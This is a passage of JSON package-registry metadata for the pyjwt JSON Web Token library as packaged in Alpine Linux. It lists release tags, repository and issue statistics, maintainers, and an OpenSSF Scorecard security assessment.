","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.701Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":315,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2024-02-05T15:14:34.288Z","updated_at":"2024-02-05T15:14:34.288Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":3179,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":824},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-06-10T05:19:05.125Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}},{"id":6164943,"name":"py3-jwt-cli","ecosystem":"alpine","description":"Python3 JSON Web Token implementation (CLI utility)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_number":"1.7.1-r4","last_synced_at":"2026-04-15T02:03:47.865Z","created_at":"2023-01-31T23:55:11.274Z","updated_at":"2026-05-29T04:00:35.826Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.15/community/x86_64/py3-jwt-cli","install_command":"apk add py3-jwt-cli","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/rep